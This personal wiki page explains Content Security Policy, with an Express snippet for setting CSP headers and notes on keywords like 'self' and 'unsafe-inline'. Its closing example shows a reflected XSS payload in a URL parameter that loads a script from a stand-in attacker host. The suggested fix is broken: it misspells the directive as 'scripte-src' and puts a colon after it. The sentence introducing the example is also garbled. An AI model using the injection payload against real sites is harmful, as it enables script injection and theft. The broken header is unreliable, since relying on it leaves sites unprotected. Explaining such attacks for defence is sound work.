Content Security Policy

From bibbleWiki
Jump to navigation Jump to search

Introduction

This is a page dedicated to Content Security Policy (CSP). CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website—covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Java applets, ActiveX, audio and video files, and other HTML5 features.

This is meant to be enough information to revisit and understand what to do when using CSP.

CSP with Node JS

Here is an example in Node JS so we can see what we are talking about.

var csp_headers = {
    "default-src": ["'self'", "http://example.com"],
    "connect-src": ["'self'", "http://example.com"],
    "img-src": ["'self'", "data:", "http://example.com"]
};

app.use("/", function(req, res, done) {
    csp.header(csp_headers, res);
    done();
});

// Static files from ./public
app.use("/", express.static("./public"));

Important Constants

  • self is probably the most common. It basically means that resources from the current host are to be trusted, which is usually going to be the case.
  • none is just as it implies; trust nothing. It can be used for a “safety-first” rule-set, or be applied to certain resource types; for example, you could use it to disallow all frame sources.
  • unsafe-inline allows potentially unsafe inline JavaScript. As the name implies, this requires caution – we’ll look at inline JavaScript shortly.
  • unsafe-eval permits potentially unsafe eval‘ed code. Use with even more caution!


For all of these constants, it’s important that you wrap them in single quotations, as listed.

Once you have your sources defined, you simply append them to a keyword representing the resource type. For scripts, that means using the script-src keyword.

Examples

Example 1

Could not find an example to the main example is when you have parameters which are later executed. In this example they were echoed and instead of the parameter the script was run.

www.mysite.com/app?name=Pete

www.mysite.com/app?name=<script src="https://bad-guy.example.com/bad-stuff.js"></script>

To avoid this we can use

Content-Security-Policy: scripte-src: 'self'